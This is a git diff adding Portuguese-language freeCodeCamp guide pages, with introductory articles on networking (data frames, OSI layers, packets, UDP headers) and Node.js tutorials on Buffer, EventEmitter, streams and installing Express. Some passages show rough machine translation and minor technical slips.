+Quadros de Dados (Frames) são unidades de dados que são comutáveis ​​através de redes comutadas por pacotes. Os quadros são unidades de dados de protocolo (PDUs) de Camada 2 de interconexão de sistemas abertos (OSI). Os quadros são endereçados usando endereços MAC (Media Access Control). Existem vários protocolos de comunicação de camada 2 diferentes, cada um com informações de controle distintas, mas a maioria utiliza um formato comum.
+
+Os quadros são divididos em informações e dados de controle (também chamados de 'carga útil'). As informações de controle estão contidas no cabeçalho e no trailer da estrutura que encapsulam a carga útil. Encapsulamento é o processo pelo qual um pacote de Camada 3 tem um cabeçalho de Camada 2 adicionado à frente e um trailer de Camada 2 adicionado no final. Este é o formato padrão para Data Frames: um cabeçalho seguido pela carga útil seguida por um trailer.
+
+![Um quadro na camada de enlace de dados](http://www.highteck.net/images/156-Datalink-PDU.jpg)
+
+O cabeçalho do Data Frame contém informações específicas do protocolo, mas todos os cabeçalhos incluem o protocolo em uso e os endereços MAC de origem / destino. Os protocolos comuns da camada 2 incluem Ethernet e protocolo ponto a ponto (PPP). Os trailers do Data Frame geralmente contêm uma FCS (Frame Check Sequence) que permite que o dispositivo receptor verifique a integridade do quadro recebido.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/network-engineering/ethernet-header/index.md b/client/src/guide/portuguese/network-engineering/ethernet-header/index.md
new file mode 100644
index 0000000000..093630b3e1
--- /dev/null
+++ b/client/src/guide/portuguese/network-engineering/ethernet-header/index.md
@@ -0,0 +1,11 @@
+---
+title: Ethernet Header
+localeTitle: Cabeçalho Ethernet
+---
+## Formato de cabeçalho Ethernet
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/ethernet-header/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/network-engineering/icmp-header/index.md b/client/src/guide/portuguese/network-engineering/icmp-header/index.md
new file mode 100644
index 0000000000..5b5bc23865
--- /dev/null
+++ b/client/src/guide/portuguese/network-engineering/icmp-header/index.md
@@ -0,0 +1,11 @@
+---
+title: ICMP Header
+localeTitle: Cabeçalho ICMP
+---
+## Formato de cabeçalho ICMP
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/icmp-header/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/network-engineering/index.md b/client/src/guide/portuguese/network-engineering/index.md
new file mode 100644
index 0000000000..f9e9a97c3b
--- /dev/null
+++ b/client/src/guide/portuguese/network-engineering/index.md
@@ -0,0 +1,21 @@
+---
+title: Network Engineering
+localeTitle: Engenharia de rede
+---
+## Engenharia de rede
+
+Um **pacote** é uma abstração de dados transmitidos na _camada_ de _rede_ do modelo OSI. Ele consiste nos dados reais junto com outros campos necessários para sua mediação de um nó para outro na rede. Como a transferência de todos os dados juntos através de uma rede de uma só vez é ineficiente, é dividida em pequenos pacotes e depois repassada.
+
+Um pacote se parece com isso:
+
+![pacote](https://www.computerhope.com/jargon/p/packet.jpg)
+
+A camada de rede divide os dados em pequenos pacotes, cada um com seu identificador exclusivo. Eles são então passados ​​para a Camada de Transporte, que os transporta para o destino através de vários nós intermediários, como roteadores e switches, usando o _Protocolo de Controle de Transmissão_ (TCP) e _o Protocolo de Internet_ (IP). O TCP lida com o roteamento real, enquanto o IP ajuda no endereçamento lógico dos dispositivos (endereço IP) para manter um controle de qual nó enviar o pacote ao lado.
+
+Quando os pacotes chegam ao destino, uma confirmação é enviada de volta. Se, por algum motivo, um pacote for descartado, ele poderá ser requisitado novamente a partir do nó de origem.
+
+Os engenheiros de rede são responsáveis ​​por implementar, manter, apoiar, desenvolver e, em alguns casos, projetar redes de comunicação dentro de uma organização ou entre organizações.
+
+Seu objetivo é garantir a integridade da infraestrutura de rede de alta disponibilidade para fornecer o máximo desempenho para seus usuários. Os usuários podem ser funcionários, clientes, clientes e fornecedores. As redes podem incluir:
+
+computador; voz; firewall. Os engenheiros de rede podem trabalhar internamente como parte da equipe de suporte de TI de uma organização, ou externamente como parte de uma empresa terceirizada de consultoria de redes de TI que trabalha com vários clientes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/network-engineering/ipv4-header/index.md b/client/src/guide/portuguese/network-engineering/ipv4-header/index.md
new file mode 100644
index 0000000000..5a0aedbebc
--- /dev/null
+++ b/client/src/guide/portuguese/network-engineering/ipv4-header/index.md
@@ -0,0 +1,11 @@
+---
+title: IPv4 Header 
+localeTitle: Cabeçalho IPv4
+---
+## Formato de cabeçalho IPv4
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/ipv4-header/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/network-engineering/ipv6-header/index.md b/client/src/guide/portuguese/network-engineering/ipv6-header/index.md
new file mode 100644
index 0000000000..1824acf0ca
--- /dev/null
+++ b/client/src/guide/portuguese/network-engineering/ipv6-header/index.md
@@ -0,0 +1,11 @@
+---
+title: IPv6 Header
+localeTitle: Cabeçalho IPv6
+---
+## Formato de cabeçalho IPv6
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/ipv6-header/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/network-engineering/osi-layers/index.md b/client/src/guide/portuguese/network-engineering/osi-layers/index.md
new file mode 100644
index 0000000000..96f3adc48e
--- /dev/null
+++ b/client/src/guide/portuguese/network-engineering/osi-layers/index.md
@@ -0,0 +1,44 @@
+---
+title: OSI Layers 
+localeTitle: Camadas OSI
+---
+## Camadas OSI
+
+### Introdução
+
+Você já se perguntou como os dados são enviados através da rede de uma máquina para outra? Se sim, então o modelo Open System Interconnected é o que você está procurando.
+
+O modelo OSI é usado para ajudar a padronizar e caracterizar como os dados devem fluir do emissor para o receptor sem levar em consideração a estrutura interna subjacente do terminal (emissor, receptor).
+
+A organização que surgiu com esse modelo é a **Organização Internacional de Padronização** e, portanto, esse modelo é formalmente chamado de **ISO-OSI** .
+
+### Arquitetura
+
+Como na figura abaixo, o modelo divide a rede em **7 camadas** . A comunicação de dados no modelo OSI inicia com a camada superior (Application Layer) da pilha no lado emissor, percorre a pilha até a camada mais baixa do remetente (Camada Física) e, em seguida, percorre a conexão de rede física até a camada inferior no recebimento lado, e até a sua pilha modelo OSI.
+
+Optamos por uma abordagem em camadas porque é fácil projetar camadas independentes com funções dedicadas que interagem entre si em comparação a um único modelo complexo.
+
+![Relação entre remetente, nós intermediários e receptor em várias camadas](https://user-images.githubusercontent.com/16820612/33828192-2773b920-de91-11e7-8804-08dbfaf0143a.jpg)
+
+### **Observações Importantes**
+
+*   _**Camadas de ponta a ponta:**_ No diagrama acima, você notaria que as camadas superiores do protocolo (Application - Transport), as camadas do emissor e do receptor são diretamente conectadas por meio de setas. Isso ocorre porque essas camadas não estão cientes dos dispositivos intermediários usados ​​para transportar dados (como switches e roteadores). Essas camadas parecem se comunicar diretamente umas com as outras.
+    
+*   _**Unidade de dados:**_ No diagrama acima, a extrema esquerda é a unidade de dados usada em cada camada. A camada de transporte (e as camadas abaixo dela) têm um nome exclusivo para a unidade de dados que está sendo transferida do remetente para o receptor.
+    
+
+### **Funções de Camadas**
+
+*   _**Camada 1 - Camada Física:**_ A camada física é a mais baixa das Camadas OSI e a mais complexa. Isto é devido às tecnologias de hardware undible usadas. A função dessa camada é definir como o fluxo de bits será transmitido em vez do pacote de dados lógicos. Ele lida com a definição de qual frequência o bit será transmitido, que tipo de modulação será usada, como os bits serão agrupados e outros parâmetros físicos baixos necessários para a transmissão de bits.
+    
+*   _**Camada 2 - Camada de Enlace de Dados:**_ A camada de enlace de dados é responsável por transferir dados para dispositivos adjacentes na mesma Rede de Área Local (LAN). Essa camada também tem provisões para garantir que os dados sem erros sejam passados ​​para as camadas superiores da camada física. Por isso, ele contém mecanismos de detecção e correção de erros para garantir que a integridade dos dados seja mantida.
+    
+*   _**Camada 3 - Camada de Rede:**_ A camada de rede é responsável pelo encaminhamento de pacotes para outras redes. Normalmente, uma rede é dividida em várias sub-redes e a camada de rede, com a ajuda de roteadores, encaminha pacotes entre essas redes para estabelecer uma WAN (Wide Area Network, rede de longa distância).
+    
+*   _**Camada 4 - Camada de Transporte:**_ A camada de transporte garante que as mensagens sejam entregues sem erros, em seqüência e sem perdas ou duplicações. Ele alivia os protocolos de camadas mais altas de qualquer preocupação com a transferência de dados entre eles e seus pares.
+    
+*   _**Camada 5 - Camada de Sessão:**_ A camada de sessão permite o estabelecimento de sessões entre processos executados em diferentes estações.
+    
+*   _**Camada 6 - Camada de apresentação:**_ A camada de apresentação formata os dados a serem apresentados à camada de aplicação.
+    
+*   _**Camada 7 - Camada de Aplicação:**_ A camada de aplicação serve como janela para usuários e processos de aplicativos acessarem serviços de rede.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/network-engineering/packets/index.md b/client/src/guide/portuguese/network-engineering/packets/index.md
new file mode 100644
index 0000000000..5f6a5288b8
--- /dev/null
+++ b/client/src/guide/portuguese/network-engineering/packets/index.md
@@ -0,0 +1,47 @@
+---
+title: Packets
+localeTitle: Pacotes
+---
+## Pacotes
+
+Um pacote é uma unidade básica de comunicação em uma rede digital. Um pacote também é chamado de **datagrama, segmento, bloco, célula ou quadro,** dependendo do protocolo usado para a transmissão de dados. Quando os dados precisam ser transmitidos, eles são divididos em estruturas semelhantes de dados antes da transmissão, chamados de pacotes, que são remontados ao bloco de dados original quando chegam ao seu destino.
+
+As redes comutadas por pacotes são geralmente mais eficientes em comparação com as redes comutadas por circuitos. A rede comutada por circuito precisa reservar recursos pela duração da comunicação. Redes comutadas por pacotes podem enviar pacotes sob demanda.
+
+No modelo OSI, os pacotes correspondem à camada 3, a camada de rede.
+
+## Estrutura de um pacote de dados
+
+A estrutura de um pacote depende do tipo de pacote e do protocolo. Leia mais abaixo em pacotes e protocolos. Normalmente, um pacote tem um cabeçalho e uma carga útil.
+
+O cabeçalho mantém informações gerais sobre o pacote, o serviço e outros dados relacionados à transmissão. Por exemplo, a transferência de dados pela Internet exige a divisão dos dados em pacotes IP, definidos em IP (Internet Protocol), e um pacote IP inclui:
+
+*   O endereço IP de origem, que é o endereço IP da máquina que envia os dados.
+*   O endereço IP de destino, que é a máquina ou o dispositivo para o qual os dados são enviados.
+*   O número de seqüência dos pacotes, um número que coloca os pacotes em ordem de forma que eles sejam remontados de maneira a recuperar os dados originais exatamente como eram antes da transmissão.
+*   O tipo de serviço.
+*   Bandeiras.
+*   Alguns outros dados técnicos.
+*   A carga útil, que representa a maior parte do pacote (todo o acima é considerado como sobrecarga), e é, na verdade, os dados que estão sendo transportados.
+
+## Pacotes e Protocolos
+
+Os pacotes variam em estrutura e funcionalidade, dependendo dos protocolos que os implementam. VoIP usa o protocolo IP e, portanto, pacotes IP. Em uma rede Ethernet, por exemplo, os dados são transmitidos em quadros Ethernet.
+
+No protocolo IP, os pacotes IP viajam pela Internet através de nós, que são dispositivos e roteadores (tecnicamente chamados de nós neste contexto) encontrados no caminho da origem para o destino.
+
+Cada pacote é roteado para o destino com base em seu endereço de origem e destino. Em cada nó, o roteador decide, com base em cálculos que envolvem estatísticas e custos da rede, para qual nó vizinho é mais eficiente enviar o pacote.
+
+Este nó selecionado é mais eficiente para enviar o pacote. Isso faz parte da comutação de pacotes que realmente libera os pacotes na Internet e cada um deles encontra seu próprio caminho até o destino. Este mecanismo utiliza gratuitamente a estrutura subjacente da Internet, que é a principal razão pela qual as chamadas VoIP e as chamadas pela Internet são mais gratuitas ou muito baratas.
+
+Ao contrário da telefonia tradicional, onde uma linha ou circuito entre a fonte e o destino tem que ser dedicado e reservado (chamado de comutação de circuitos), daí o custo elevado, a comutação de pacotes explora as redes existentes de graça.
+
+Outro exemplo é o TCP (Transmission Control Protocol), que funciona com IP no que chamamos de suíte TCP / IP. O TCP é responsável por garantir que a transferência de dados seja confiável. Para isso, verifica se os pacotes chegaram em ordem, se algum pacote está faltando ou se foi duplicado, e se há algum atraso na transmissão de pacotes. Ele controla isso definindo um tempo limite e sinais chamados confirmações.
+
+## Conclusão
+
+Os dados viajam em pacotes através de redes digitais e todos os dados que consumimos, seja texto, áudio, imagens ou vídeo, são divididos em pacotes que são reagrupados em nossos dispositivos ou computadores. É por isso que, por exemplo, quando uma imagem é carregada em uma conexão lenta, você vê pedaços dela aparecendo um após o outro.
+
+#### Mais Informações:
+
+[Todos os conceitos de rede em detalhes breves](https://www.lifewire.com/what-is-a-data-packet-3426310 "Artigo da Lifewire sobre pacotes de dados")
\ No newline at end of file
diff --git a/client/src/guide/portuguese/network-engineering/tcp-header/index.md b/client/src/guide/portuguese/network-engineering/tcp-header/index.md
new file mode 100644
index 0000000000..c4cc4311c6
--- /dev/null
+++ b/client/src/guide/portuguese/network-engineering/tcp-header/index.md
@@ -0,0 +1,11 @@
+---
+title: TCP Header
+localeTitle: Cabeçalho TCP
+---
+## Formato de cabeçalho TCP
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/network-engineering/tcp-header/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/network-engineering/udp-header/index.md b/client/src/guide/portuguese/network-engineering/udp-header/index.md
new file mode 100644
index 0000000000..1c9fe28c36
--- /dev/null
+++ b/client/src/guide/portuguese/network-engineering/udp-header/index.md
@@ -0,0 +1,20 @@
+---
+title: UDP Header
+localeTitle: Cabeçalho UDP
+---
+## Formato de Cabeçalho UDP
+
+O User Datagram Protcol (UDP) é um dos protocolos mais usados ​​no conjunto de protocolos de Internet (IP), juntamente com TCP e ICMP. As características definidoras do UDP são um protocolo rápido, sem conexão. Esses recursos são facilitados pelo cabeçalho UDP.
+
+O cabeçalho UDP é feito dos seguintes quatro campos:
+
+*   Porta de Origem (16 bits): A porta usada no computador dos remetentes para a conexão UDP também referida como a porta de envio. Quando combinado com o IP dos remetentes, permite que o computador remetente crie conexões múltiplas e separadas (conhecidas como Multiplexing).
+    
+*   Porta de Destino (16 bits): A porta usada no computador receptor para a conexão UDP também é chamada de porta de recebimento. Quando combinado com o IP dos receptores, permite a multiplexação.
+    
+*   Comprimento (16 bits): Especifica o comprimento do cabeçalho e dos dados do UDP.
+    
+*   Soma de verificação (16 bits): Usado para verificar erros no cabeçalho e nos dados. Opcional.
+    
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/nodejs/buffer/index.md b/client/src/guide/portuguese/nodejs/buffer/index.md
new file mode 100644
index 0000000000..ce36154c3a
--- /dev/null
+++ b/client/src/guide/portuguese/nodejs/buffer/index.md
@@ -0,0 +1,90 @@
+---
+title: Nodejs- Buffer
+localeTitle: Nodejs- Buffer
+---
+## Amortecedor
+
+Binário é simplesmente um conjunto ou uma coleção de `1` e `0` . Cada número em um binário, cada 1 e 0 em um conjunto são chamados um _pouco_ . O computador converte os dados para este formato binário para armazenar e executar operações. Por exemplo, os seguintes são cinco binários diferentes:
+
+`10, 01, 001, 1110, 00101011`
+
+JavaScript não possui dados de tipo de byte em sua API principal. Para manipular dados binários O Node.js inclui uma implementação de buffer binário com um módulo global chamado `Buffer` .
+
+### Criando um buffer
+
+Existem diferentes maneiras de criar um buffer no Node.js. Você pode criar um buffer vazio com um tamanho de 10 bytes.
+
+```javascript
+const buf1 = Buffer.alloc(10); 
+```
+
+De strings codificadas em UTF-8, a criação é assim:
+
+```javascript
+const buf2 = Buffer.from('Hello World!'); 
+```
+
+Existem diferentes codificações aceitas ao criar um Buffer:
+
+*   ascii
+*   utf-8
+*   base64:
+*   latin1
+*   binário
+*   hexadecimal
+
+Existem três funções separadas alocadas na API do Buffer para usar e criar novos buffers. Nos exemplos acima, vimos `alloc()` e `from()` . O terceiro é `allocUnsafe()` .
+
+```javascript
+const buf3 = Buffer.allocUnsafe(10); 
+```
+
+Quando retornada, esta função pode conter dados antigos que precisam ser sobrescritos.
+
+### Interações com o buffer
+
+Existem diferentes interações que podem ser feitas com a API do Buffer. Nós vamos cobrir a maioria deles aqui. Vamos começar com a conversão de um buffer para o JSON.
+
+```javascript
+let bufferOne = Buffer.from('This is a buffer example.'); 
+ console.log(bufferOne); 
+ 
+ // Output: <Buffer 54 68 69 73 20 69 73 20 61 20 62 75 66 66 65 72 20 65 78 61 6d 70 6c 65 2e> 
+ 
+ let json = JSON.stringify(bufferOne); 
+ console.log(json); 
+ 
+ // Output: {"type": "Buffer", "data": [84,104,105,115,32,105,115,32,97,32,98,117,102,102,101,114,32,101,120,97,109,112,108,101,46]} 
+```
+
+O JSON especifica que o tipo de objeto que está sendo transformado é um Buffer e seus dados. Converter um buffer vazio em JSON nos mostrará que ele não contém nada além de zeros.
+
+```javascript
+const emptyBuf = Buffer.alloc(10); 
+ 
+ emptyBuf.toJSON(); 
+ 
+ // Output: { "type": "Buffer", "data": [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ] } 
+```
+
+Observe que a API Buffer também fornece uma função direta para o `toJSON()` para converter um buffer em um objeto JSON. Para examinar o tamanho de um buffer, podemos usar o método `length` .
+
+```javascript
+emptyBuf.length; 
+ // Output: 10 
+```
+
+Agora vamos converter buffer para uma string legível, no nosso caso, o utf-8 codificado.
+
+```javascript
+console.log(bufferOne.toString('utf8')); 
+ 
+ // Output: This is a buffer example. 
+```
+
+`.toString()` por padrão converte um buffer em uma string de formato utf-8. É assim que você decodifica um buffer. Se você especificar uma codificação, poderá converter o buffer em outra codificação
+
+```javascript
+console.log(bufferOne.toString('base64')); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/nodejs/event-emitters/index.md b/client/src/guide/portuguese/nodejs/event-emitters/index.md
new file mode 100644
index 0000000000..6acd9f425e
--- /dev/null
+++ b/client/src/guide/portuguese/nodejs/event-emitters/index.md
@@ -0,0 +1,183 @@
+---
+title: Event Emitters
+localeTitle: Emissores de Eventos
+---
+## Eventos e Transmissões
+
+Tradicionalmente, em um servidor da Web, processar um dado na forma de um arquivo lendo e gravando consome muito mais memória, pois esses métodos de processamento precisam carregar o arquivo toda vez que ele precisar ler ou gravar esse arquivo. Isso é considerado um desperdício de recursos. Pense nisso, em termos de escalabilidade e Big Data, se estamos desperdiçando recursos, vamos nos comprometer muito. A natureza assíncrona do Node.js fornece duas opções adequadas para trabalharmos e fornecer um fluxo de dados que consome menos recursos, pois o Node.js é baseado em um modelo assíncrono sem bloqueio. Eles estão emitindo eventos e fluxos. Nesta seção, vamos dar uma olhada em ambos.
+
+## Classe EventEmitter
+
+EventEmitters são uma das principais idéias por trás da arquitetura de programação orientada a eventos ou programação assíncrona em Node.js. Um EventEmitter é um objeto e, no Node.js, qualquer objeto que emite um evento é uma instância da classe EventEmitter. O que é um evento? Todas as ações executadas pelo programa Node.js, como iniciar o servidor da Web e fechar o encerramento do programa quando não há solicitações a serem atendidas, são consideradas como dois eventos separados.
+
+Para acessar a classe EventEmitter em um programa Node.js, você precisa exigir o módulo de `events` da API Node.js. Para criar o objeto, criamos uma instância da classe EventEmitter chamando sua função construtora.
+
+```js
+const events = require('events'); 
+ 
+ const eventEmitter = new events.EventEmitter(); 
+```
+
+Ou você pode exigir acesso direto à subclasse EventEmitter da seguinte forma:
+
+```js
+const EventEmitter = require('events'); 
+ 
+ const eventEmitter = new EventEmitter(); 
+```
+
+Uma classe EventEmitter fornece vários métodos predefinidos para trabalhar com eventos. Estes métodos são `.on` , `.emit` e `.error` . Emitir um evento de uma função pode ser feito acionando uma função de retorno de chamada que pode ser acessada por qualquer outra função JavaScript. Isso é como transmitir.
+
+A capacidade de acionar um evento pode ser feita seguindo a sintaxe:
+
+```js
+eventEmitter.emit(eventName, optionalData); 
+```
+
+E a capacidade de anexar uma função de ouvinte e definir o nome de um evento específico é feita por `.on` .
+
+```js
+eventEmitter.emit(eventName, callback); 
+```
+
+Vamos imitar as novas funções que acabamos de aprender com um exemplo. Crie um novo arquivo chamado `eventemitter.js` e cole o seguinte código:
+
+```js
+const EventEmitter = require('events'); 
+ 
+ const eventEmitter = new EventEmitter(); 
+ 
+ const callback = () => { 
+    console.log('callback runs'); 
+ }; 
+ 
+ eventEmitter.on('invoke', callback); 
+ 
+ eventEmitter.emit('invoke'); 
+ eventEmitter.emit('invoke'); 
+```
+
+Agora execute o exemplo acima usando o comando `node` e você deve obter a seguinte saída.
+
+```shell
+callback runs 
+ callback runs 
+```
+
+Começamos criando uma instância eventEmitter através do qual tenha acesso aos `.on` o método. O `.on` método adiciona o evento, definindo o nome `invoke` que usamos mais tarde na `.emit` chamar acionar a função de retorno de chamada associado a ele.
+
+Há outra função que a classe EventEmitter fornece, chamada `.once` . Esse método invoca apenas a função de retorno de chamada associada a um evento pela primeira vez quando um evento é emitido. Considere o exemplo abaixo.
+
+```js
+const EventEmitter = require('events'); 
+ 
+ const eventEmitter = new EventEmitter(); 
+ 
+ const callback = () => { 
+    console.log('callback runs'); 
+ }; 
+ 
+ eventEmitter.once('invoke', callback); 
+ 
+ eventEmitter.emit('invoke'); 
+ eventEmitter.emit('invoke'); 
+```
+
+Saída
+
+```shell
+callback runs 
+```
+
+`.once` manter as faixas de eventos de quando elas são acionadas e quantas vezes elas são acionadas, ao contrário do método `.on` , que não acompanha essa situação. Esta é uma diferença importante entre os dois.
+
+## Compreender fluxos
+
+O Node.js fornece outra maneira de trabalhar com dados, em vez de consumir uma grande quantidade de recursos de memória e torná-lo econômico. Isso que fluxos fazem. Basicamente, os fluxos permitem que você leia dados da única fonte e os coloque no destino. Os fluxos processam os dados em blocos em vez de todos de uma só vez, tornando-os adequados para trabalhar com grandes conjuntos de dados. Muitos módulos Node.js internos usam streams sob o capô. Por exemplo, solicitação e resposta HTTP, sockets TCP, zlib, crypto, fs lêem e gravam fluxos, etc.
+
+### Tipo de fluxos
+
+No Node.js, existem quatro tipos de fluxos:
+
+*   Legível
+*   Gravável
+*   Duplex
+*   Transformar
+
+Os mais comuns são fluxos legíveis e graváveis. Os fluxos legíveis são usados ​​para ler os dados da origem e os fluxos graváveis ​​são usados ​​para executar a operação de gravação desses dados no destino. Fluxos duplex podem ser usados ​​para executar operações de leitura e gravação. Transform é um superconjunto de fluxos Duplex, com a única diferença é que os dados podem ser modificados durante a leitura ou gravação.
+
+### Tipo de eventos de fluxo
+
+Todos esses tipos de fluxo são instâncias da classe EventEmitter, o que significa que eles emitem eventos de leitura e gravação. Cada tipo de fluxo pode emitir os seguintes eventos.
+
+*   data: esse evento é acionado quando os dados estão disponíveis para leitura pelo fluxo legível
+*   error: Este evento é acionado quando há um erro ao ler ou gravar os dados
+*   end: este evento é acionado quando não há dados para ler
+
+## Correntes legíveis
+
+Um fluxo legível permite ler os dados da fonte. Esta fonte pode ser qualquer coisa, desde um buffer, um arquivo, etc. Primeiro, crie um arquivo de texto simples a partir do qual vamos ler os dados usando o fluxo.
+
+```text
+I am Text file that contains data. 
+```
+
+Agora, crie um novo arquivo chamado read.js, que implementará a funcionalidade de leitura de dados desse arquivo de texto usando um fluxo legível.
+
+```js
+const fs = require('fs'); 
+ const readableStream = fs.createReadStream('abc.txt'); 
+ let data = ''; 
+ 
+ readableStream.on('data', function(chunk) { 
+    data += chunk; 
+ }); 
+ 
+ readableStream.on('end', function() { 
+    console.log(data); 
+ }); 
+```
+
+Se você executar o programa acima, você receberá a seguinte saída:
+
+```shell
+ $ node test.js 
+ I am Text file that contains data. 
+```
+
+Qual é o que escrevemos dentro do arquivo de texto. Para ler dados usando o fluxo, usamos uma função chamada `createReadStream()` do módulo do sistema de arquivos `fs` .
+
+Quando não há dados para ler pelo fluxo legível, ele automaticamente termina a função de retorno de chamada. O método `.on` é o que aprendemos na seção anterior da classe EventEmitter. Isso significa que os streams usam a classe EventEmitter nos bastidores.
+
+## Stream gravável
+
+Os fluxos graváveis ​​são usados ​​para gravar ou inserir ou anexar dados a um destino. Como fluxos legíveis, eles também são fornecidos pelo módulo `fs` . Crie um novo arquivo chamado `wrtte.js` no qual usará um fluxo legível para ler dados da origem e gravá-lo em um destino criando um novo arquivo `.txt` .
+
+```js
+const fs = require('fs'); 
+ const readableStream = fs.createReadStream('./abc.txt'); 
+ const writeableStream = fs.createWriteStream('./dest.txt'); 
+ let data = ''; 
+ 
+ readableStream.on('data', function(chunk) { 
+    writeableStream.write(chunk); 
+ }); 
+```
+
+Quando você executa este programa, um novo arquivo será criado pelo fluxo gravável desde que tenha acesso ao módulo do sistema de arquivos. O fluxo gravável usa o método `.write()` para produzir os dados no destino. No exemplo acima, estamos criando um novo arquivo chamado `dest.txt` que conterá os mesmos dados de `abc.txt` .
+
+## Tubulação
+
+Piping é um mecanismo pelo qual você pode ler dados a partir da fonte e escrevê-lo para o destino sem escrever muito código como fizemos acima e não usar `.on` ou `.write` métodos.
+
+Se estamos a escrever acima exemplo usando pipe, vamos escrever como abaixo:
+
+```js
+const fs = require('fs'); 
+ const readableStream = fs.createReadStream('./abc.txt'); 
+ const writeableStream = fs.createWriteStream('./dest.txt'); 
+ 
+ readableStream.pipe(writeableStream); 
+```
+
+Observe quantas linhas de código foram removidas. Além disso, agora precisamos apenas dos caminhos de arquivos de origem e de destino e, para ler e gravar dados, estamos usando o método `.pipe()` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/nodejs/express/index.md b/client/src/guide/portuguese/nodejs/express/index.md
new file mode 100644
index 0000000000..842bfd1048
--- /dev/null
+++ b/client/src/guide/portuguese/nodejs/express/index.md
@@ -0,0 +1,528 @@
+---
+title: ExpressJS
+localeTitle: ExpressJS
+---
+## ExpressJS
+
+Quando se trata de construir aplicações web usando o Node.js, criar um servidor pode levar muito tempo. Ao longo dos anos, o Node.js amadureceu o suficiente devido ao apoio da comunidade. O uso do Node.js como backend para aplicativos e sites da Web ajuda os desenvolvedores a começar a trabalhar em seu aplicativo ou produto rapidamente. Neste tutorial, vamos examinar o Expressjs, que é uma estrutura do Node.js para desenvolvimento da web que vem com recursos como roteamento e renderização e suporte para APIs REST.
+
+## O que é expresso?
+
+O Express é o framework Node.js mais popular porque requer configuração mínima para iniciar um aplicativo ou uma API e é rápido e não publicado ao mesmo tempo. Em outras palavras, ele não impõe sua própria filosofia de que um aplicativo ou API deve ser construído de uma maneira específica, ao contrário do Rails e do Django. Sua flexibilidade pode ser calculada pelo número de módulos `npm` disponíveis, o que o torna conectável ao mesmo tempo. Se você tiver conhecimentos básicos de HTML, CSS e JavaScript e como o Node.js funciona em geral, em pouco tempo você poderá começar a usar o Expressjs.
+
+Express foi desenvolvido por TJ Holowaychuk e agora é mantido pela fundação Node.js e desenvolvedores de código aberto. Para começar a usar o desenvolvimento usando o Express, você precisa ter o Node.js e o npm instalados. Você pode instalar o [Node.js](https://nodejs.org/en/) em sua máquina local e junto com ele vem o utilitário de linha de comando `npm` que nos ajudará a instalar plugins ou como dependências chamadas mais tarde em nosso projeto.
+
+Para verificar se tudo está instalado corretamente, abra seu terminal e digite:
+
+```shell
+node --version 
+ v5.0.0 
+ npm --version 
+ 3.5.2 
+```
+
+Se você está obtendo o número da versão em vez de um erro, significa que você instalou o Node.js e o npm com sucesso.
+
+## Por que usar o Expressjs?
+
+Antes de começarmos com o mecanismo de usar o Express como a estrutura de backend, vamos primeiro explorar por que devemos considerá-lo usando ou as razões de sua popularidade.
+
+*   O Express permite que você crie aplicativos móveis e Web de página única, várias páginas e híbridos. Outro uso comum de back-end é fornecer uma API para um cliente (seja web ou móvel).
+*   Ele vem com um mecanismo de modelo padrão, o Jade, que ajuda a facilitar o fluxo de dados em uma estrutura de website e suporta outros mecanismos de modelo.
+*   Ele suporta MVC (Model-View-Controller), uma arquitetura muito comum para projetar aplicativos da web.
+*   É multi-plataforma e não se limita a qualquer sistema operacional em particular.
+*   Ele aproveita o modelo com encadeamento único e assíncrono do Node.js.
+
+Sempre que criamos um projeto usando `npm` , nosso projeto deve ter um arquivo `package.json` .
+
+### Criando package.json
+
+Um arquivo JSON (JavaScript Object Notation) contém todas as informações sobre qualquer projeto do Express. O número de módulos instalados, o nome do projeto, a versão e outras informações meta. Para adicionar Expressjs como um módulo em nosso projeto, primeiro precisamos criar um diretório de projeto e, em seguida, criar um arquivo package.json.
+
+```shell
+mkdir express-app-example 
+ cd express-app-example 
+ npm init --yes 
+```
+
+Isso gerará um arquivo `package.json` na raiz do diretório do projeto. Para instalar qualquer módulo do `npm` , precisamos ter o arquivo `package.json` no diretório.
+
+```json
+{ 
+  "name": "express-web-app", 
+  "version": "0.1.0", 
+  "description": "", 
+  "main": "index.js", 
+  "scripts": { 
+    "test": "echo \"Error: no test specified\" && exit 1" 
+  }, 
+  "keywords": [], 
+  "license": "MIT" 
+ } 
+```
+
+### Instalando o Express
+
+Agora temos o arquivo `package.json` , podemos instalar o Express executando o comando:
+
+```shell
+npm install --save express 
+```
+
